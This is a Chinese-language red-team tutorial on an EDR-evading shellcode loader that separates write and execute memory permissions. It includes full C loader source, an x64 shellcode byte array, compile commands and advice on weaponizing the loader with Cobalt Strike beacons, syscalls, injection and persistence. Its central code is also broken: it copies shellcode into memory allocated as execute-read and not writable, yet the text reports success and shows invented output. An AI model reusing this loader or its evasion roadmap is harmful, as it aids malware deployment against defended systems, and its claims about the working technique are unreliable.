告别RWX内存:权限分离ShellCode加载器实现与EDR绕过实践 如果你是一名安全研究员、渗透测试工程师或者正在学习红队技术那么“免杀”这个词对你来说一定不陌生。但你是否曾有过这样的困惑为什么我精心编写的 ShellCode 加载器明明使用了各种加密、混淆、API 调用隐藏技术却依然被主流 EDR终端检测与响应轻松识别并拦截问题很可能出在一个看似不起眼实则至关重要的环节上内存权限。传统的 ShellCode 加载器无论是 VirtualAlloc 还是 VirtualAllocEx申请的内存页权限通常是PAGE_EXECUTE_READWRITE可读、可写、可执行简称 RWX。在 EDR 的视角里一块同时具备写和执行权限的内存区域几乎等同于“此地无银三百两”是恶意代码执行的典型高危信号。本文要解决的正是这个核心痛点。我们将深入探讨如何通过“权限分离”这一关键思想告别危险的 RWX 内存构建更隐蔽、更难以被 EDR 检测的 ShellCode 加载器。这不仅仅是技术上的小技巧更是对抗思路的升级从“如何藏代码”转向“如何让代码的行为看起来更正常”。读完本文你将能理解为什么 RWX 内存是 EDR 的重点监控对象。掌握权限分离的核心原理与实现路径。动手实践两种主流的权限分离加载器实现方案。获得一套可复用的代码模板和清晰的排查思路用于构建你自己的免杀工具链。1. 为什么“告别 RWX”是免杀进阶的必经之路在深入代码之前我们必须先理解对抗的战场。现代 EDR 的检测能力早已超越了简单的静态特征匹配。它们通过内核驱动、ETWWindows 事件跟踪、AMSI反恶意软件扫描接口以及行为监控构建了立体的防御体系。其中对进程内存操作的监控是行为分析的重中之重。想象一下一个正常程序的内存使用模式.text 段代码段存放编译好的机器指令权限是PAGE_EXECUTE_READRX。程序运行时从这里读取指令执行但几乎不会去修改它。.data / .rdata 段数据段存放全局变量、常量字符串权限是PAGE_READWRITERW或PAGE_READONLYR。程序在这里读写数据但不会试图执行它。而一个典型的传统 ShellCode 加载器在做什么申请一块内存 (VirtualAlloc)权限设为PAGE_EXECUTE_READWRITE。将加密的 ShellCode 写入这块内存。解密 ShellCode直接在内存中修改。跳转到这块内存开始执行。整个过程都在同一块 RWX 内存中完成。这在 EDR 看来是极其反常的一个用户态进程动态创建了一块同时可写可执行的内存并立即执行了其中的内容。这触发了多个高危行为特征极易被判定为恶意。因此“告别 RWX”的本质是让我们的 ShellCode 加载过程尽可能地模拟合法程序的内存操作模式。我们将“写”和“执行”这两个动作在时间和空间上进行分离。2. 核心原理权限分离的两种实现范式权限分离的核心思想很简单不要在同一块内存上又写又执行。具体实现上主要有两种主流范式2.1 范式一先写后改Write-Then-Change这是最直观的思路。阶段一只写申请一块权限为PAGE_READWRITERW的内存。此时这块内存只能读写不能执行。阶段二写入数据将 ShellCode通常是解密后的写入这块 RW 内存。阶段三改为只执行使用VirtualProtect或NtProtectVirtualMemory等 API将这块内存的权限修改为PAGE_EXECUTE_READRX或PAGE_EXECUTEX。阶段四执行此时内存已不可写但可执行跳转执行。优点逻辑清晰与传统的 RWX 模式改动最小。缺点VirtualProtect调用本身也可能被监控。从 RW 到 RX 的权限提升行为虽然比 RWX 好但仍可能被某些高级 EDR 标记。2.2 范式二空间分离Spatial Separation这是一种更隐蔽、更符合“合法程序”行为的方式。分配两块内存内存A权限为PAGE_READWRITERW作为“暂存区”。内存B权限为PAGE_EXECUTE_READRX作为“执行区”。写入暂存区将 ShellCode 写入内存ARW。复制到执行区使用RtlCopyMemory、memcpy或直接内存复制将内存A中的 ShellCode复制到内存BRX。注意是复制而不是修改权限。执行跳转到内存BRX执行。优点完全避免了权限修改 API 的调用。两块内存的权限自始至终是固定的、符合常规的一块可写不可执行一块可执行不可写。行为上更接近一个程序将数据段的内容复制到代码段虽然机制不同。缺点需要分配两块内存并多一次复制操作。在实战中范式二空间分离通常被认为具有更好的规避效果。下文我们将以范式二为重点进行详细实现。3. 环境准备与前置条件在开始编码前请确保你的开发环境符合以下要求操作系统Windows 10/11 或 Windows Server 2016。本文示例基于 Windows API。开发工具Visual Studio 2019/2022 或任何支持 C/C 的编译器如 MinGW。我们将编写 C 语言代码。编译选项建议关闭 GS缓冲区安全检查、ASLR地址空间布局随机化等安全编译选项以便于我们专注于核心逻辑的演示。在实际武器化时需要根据目标环境谨慎处理这些选项。调试器推荐使用 x64dbg 或 WinDbg 进行动态调试观察内存权限变化。EDR/AV 测试环境务必在隔离的虚拟机或专用测试机中进行。可以安装 Windows Defender 或获取一些 EDR 的试用版进行行为测试。ShellCode 来源你需要准备一段有效的 ShellCode。可以使用 MSFVenom、Cobalt Strike 等工具生成。例如一个简单的弹计算器的 ShellCode。请仅用于合法授权的安全测试。4. 核心流程拆解空间分离加载器实现我们将实现一个基于“空间分离”范式的 ShellCode 加载器。整个过程分为清晰的五个步骤解密或获取 ShellCode加载器通常存储的是加密或编码后的 ShellCode第一步需要将其解密为原始的二进制代码。分配 RW 内存暂存区申请一块可读可写但不可执行的内存用于存放解密后的原始 ShellCode。分配 RX 内存执行区申请一块可读可执行但不可写的内存这将是我们最终执行代码的地方。复制 ShellCode将 RW 内存中的 ShellCode 复制到 RX 内存中。执行通过函数指针或内联汇编跳转到 RX 内存地址执行。下面我们通过完整的代码示例来一步步实现。5. 完整示例与代码实现我们将创建一个简单的控制台程序。请注意以下代码省略了错误处理的细节以保持清晰在生产代码中务必添加。5.1 示例 ShellCode 准备首先我们准备一段用于测试的 ShellCode这里是 Windows x64 下弹计算器的经典 ShellCode。在实际使用中这部分应该来自你的加密载荷。// 这是一个弹计算器calc.exe的 ShellCode (x64) unsigned char shellcode[] { 0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff, 0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f, 0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x41, 0xba, 0xa6, 0x95, 0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00 }; unsigned int shellcode_len sizeof(shellcode);5.2 权限分离加载器完整代码以下是完整的 C 语言实现。我们使用VirtualAlloc分配内存使用RtlCopyMemory进行复制。#include windows.h #include stdio.h int main() { // 1. 定义 ShellCode (实际应从加密载体中解密) unsigned char shellcode[] { /* 将上面的 shellcode 数组放在这里 */ }; SIZE_T shellcodeSize sizeof(shellcode); printf([*] ShellCode 长度: %zu 字节\n, shellcodeSize); // 2. 分配 RW 内存 (暂存区 - 可读可写不可执行) LPVOID rwBuffer VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (rwBuffer NULL) { printf([-] 分配 RW 内存失败. Error: %d\n, GetLastError()); return -1; } printf([] RW 内存分配成功地址: 0x%p\n, rwBuffer); // 3. 将 ShellCode 复制到 RW 内存 // 这里模拟了解密后写入的过程。实际场景中可能是解密函数直接输出到 rwBuffer。 memcpy(rwBuffer, shellcode, shellcodeSize); printf([] ShellCode 已写入 RW 内存\n); // 4. 分配 RX 内存 (执行区 - 可读可执行不可写) LPVOID rxBuffer VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READ); if (rxBuffer NULL) { printf([-] 分配 RX 内存失败. Error: %d\n, GetLastError()); VirtualFree(rwBuffer, 0, MEM_RELEASE); return -1; } printf([] RX 内存分配成功地址: 0x%p\n, rxBuffer); // 5. 将 ShellCode 从 RW 内存复制到 RX 内存 // 使用 RtlCopyMemory (实际上是 memcpy) 进行内存复制 RtlCopyMemory(rxBuffer, rwBuffer, shellcodeSize); printf([] ShellCode 已从 RW 内存复制到 RX 内存\n); // 6. 释放 RW 内存 (可选清理痕迹) VirtualFree(rwBuffer, 0, MEM_RELEASE); printf([] RW 内存已释放\n); // 7. 执行 RX 内存中的 ShellCode printf([*] 准备执行 ShellCode...\n); // 将 RX 内存地址转换为函数指针并调用 void (*func)() (void (*)())rxBuffer; func(); // 8. 执行完成后释放 RX 内存 (通常不会执行到这里因为 ShellCode 可能创建新进程或退出) // VirtualFree(rxBuffer, 0, MEM_RELEASE); // printf([] RX 内存已释放\n); return 0; }关键逻辑解释VirtualAlloc的最后一个参数flProtect分别设置为PAGE_READWRITE和PAGE_EXECUTE_READ这是实现权限分离的关键。RtlCopyMemory是memcpy的一个宏用于在内存块间复制数据。这一步实现了 ShellCode 从“数据区”到“代码区”的转移。执行部分通过将内存地址强制转换为函数指针void (*)()来实现跳转。这是一种常见的 ShellCode 执行方式。代码中包含了适当的内存释放这是良好的编程习惯。但在实际攻击载荷中为了保持进程稳定可能不会立即释放。5.3 编译与运行使用 Visual Studio 或 MinGW 编译上述代码。以 x64 Release 模式编译为宜。# 假设使用 MinGW (x86_64-w64-mingw32-gcc) x86_64-w64-mingw32-gcc -o shellcode_loader.exe shellcode_loader.c -static编译成功后在测试机中运行shellcode_loader.exe。如果一切正常你应该会看到计算器calc.exe被成功弹出。6. 运行结果与效果验证运行程序后控制台输出应类似于[*] ShellCode 长度: 276 字节 [] RW 内存分配成功地址: 0x000001B3F8B50000 [] ShellCode 已写入 RW 内存 [] RX 内存分配成功地址: 0x000001B3F8B60000 [] ShellCode 已从 RW 内存复制到 RX 内存 [] RW 内存已释放 [*] 准备执行 ShellCode...随后计算器程序启动。如何验证权限分离确实生效使用调试器如 x64dbg在VirtualAlloc调用后设置断点查看返回的内存地址及其保护属性。确认rwBuffer的属性是RWrxBuffer的属性是RX。使用 Process Hacker 或 Process Explorer运行加载器后在进程的内存映射视图中查找分配的内存区域。你应该能看到两块独立的区域分别标记为READWRITE和EXECUTE_READ。对比传统 RWX 加载器你可以写一个传统的 RWX 加载器作为对比在相同 EDR 环境下测试观察检测率的差异。7. 常见问题与排查思路在实现和测试过程中你可能会遇到以下问题问题现象可能原因排查方式解决方案编译错误‘RtlCopyMemory’ undeclared未包含正确的头文件或 MinGW 环境问题。检查#include windows.h是否存在。使用memcpy替代RtlCopyMemory两者功能相同。程序运行后无任何反应直接退出。1. ShellCode 本身无效或与系统架构不匹配x86 vs x64。2. 内存分配失败但错误处理不完善。3. 函数指针调用约定问题。1. 在memcpy后和func()调用前添加printf调试确认流程。2. 检查GetLastError()返回值。3. 使用调试器单步执行观察是否跳转到 RX 内存。1. 使用可靠的、与编译目标匹配的 ShellCode。2. 完善所有 API 调用的错误检查。3. 对于 x64直接转换函数指针通常可行对于 x86 复杂 ShellCode可能需要考虑调用约定。程序触发 EDR/AV 告警尽管使用了权限分离。1. ShellCode 本身特征明显如弹计算器。2.VirtualAlloc等 API 调用序列被检测。3. 程序其他部分如字符串、导入表存在特征。1. 对 ShellCode 进行更强的加密/编码。2. 使用直接系统调用Syscall替代VirtualAlloc等高级 API。3. 对加载器代码进行混淆或使用反射 DLL 注入等技术。免杀是系统工程。权限分离是重要一环但需结合静态混淆、动态行为规避、API 调用隐藏等多种技术。在复制后执行时发生访问违规Access Violation。1. RX 内存分配大小不足。2. ShellCode 在复制过程中损坏。3. 内存地址未对齐某些 ShellCode 有对齐要求。1. 确保shellcodeSize计算正确。2. 在复制前后比较 RW 和 RX 内存的内容是否一致。3. 尝试以PAGE_EXECUTE_READWRITE权限分配执行区作为测试排除权限问题。1. 仔细检查 ShellCode 长度。2. 使用memcmp验证复制结果。3. 考虑使用VirtualAlloc分配时指定MEM_COMMIT8. 最佳实践与工程建议将权限分离加载器投入实战或集成到武器化框架时需要考虑更多细节结合加密与编码存储在二进制文件中的 ShellCode 必须是加密或编码的如 AES 加密、Base64 编码。加载器的第一步就是解密。这能有效规避静态特征扫描。使用直接系统调用SyscallVirtualAlloc、VirtualProtect、RtlCopyMemory都是公开的 API其调用会被用户态钩子Userland Hooking监控。通过系统调用直接与内核交互可以绕过这些钩子显著提升隐蔽性。这需要了解 Windows 系统调用号和调用约定。实现反射式加载更进一步可以不将 ShellCode 作为数据写入而是将其作为一个完整的 PE 映像DLL在内存中反射加载。这种方式行为上更接近合法模块加载但实现复杂度更高。内存操作后清理如示例所示及时释放不再需要的 RW 内存是个好习惯。也可以考虑在复制完成后将原始的 RW 内存区域用随机数据覆盖减少内存取证痕迹。错误处理与稳定性实战代码必须有完备的错误处理检查每个 API 返回值并确保在失败时能安全退出不留下崩溃进程。适配不同架构确保你的加载器能正确处理 x86 和 x64 的 ShellCode注意指针大小和调用约定的差异。对抗内存扫描一些 EDR 会定期扫描进程内存中的恶意模式。可以考虑将 ShellCode 分块存储、即时解密执行、或者使用 Process Hollowing 等技术将代码注入到合法进程中。编译选项发布时考虑使用静态链接减少依赖使用混淆工具保护加载器代码本身并谨慎处理安全编译选项如/GS-,/DYNAMICBASE:NO但要清楚这本身也会成为特征。9. 总结与后续学习方向通过本文我们深入剖析了传统 RWX ShellCode 加载器在高强度 EDR 环境下的致命弱点并实践了通过“权限分离”思想构建更隐蔽加载器的完整方案。核心要点回顾核心理念模拟合法程序行为将“数据写入”与“代码执行”在内存权限上分离。关键实现使用PAGE_READWRITE内存作为暂存区PAGE_EXECUTE_READ内存作为执行区通过复制而非修改权限来转移 ShellCode。优势有效规避了对 RWX 内存和VirtualProtect权限提升行为的检测。定位这是现代免杀技术栈中的基础且关键的一环但非银弹。要构建真正强健的免杀能力你需要将权限分离与以下技术结合形成纵深防御静态规避ShellCode 加密、加载器代码混淆、字符串隐藏、导入表混淆。动态规避直接系统调用Syscall、API 调用链混淆、反调试/反沙箱技术。注入技术进程注入Process Injection、线程劫持Thread Hijacking、APC 注入、反射式 DLL 加载Reflective DLL Loading。持久化与横向移动初期的代码执行只是开始后续的驻留、权限维持和网络通信隐蔽同样需要精心设计。建议你以本文的代码为起点尝试以下进阶练习将示例中的memcpy替换为自己的内存复制函数。实现“先写后改”Write-Then-Change范式的加载器并比较两者在简单沙箱中的行为差异。研究并使用NtAllocateVirtualMemory和NtProtectVirtualMemory的系统调用号实现一个纯 Syscall 版本的权限分离加载器。将 ShellCode 替换为 Cobalt Strike 的 Beacon 等复杂载荷并测试在真实 EDR 环境下的效果。免杀是一场持续的动态对抗。理解底层原理保持对操作系统和安防产品行为模式的洞察才能设计出有效的绕过方案。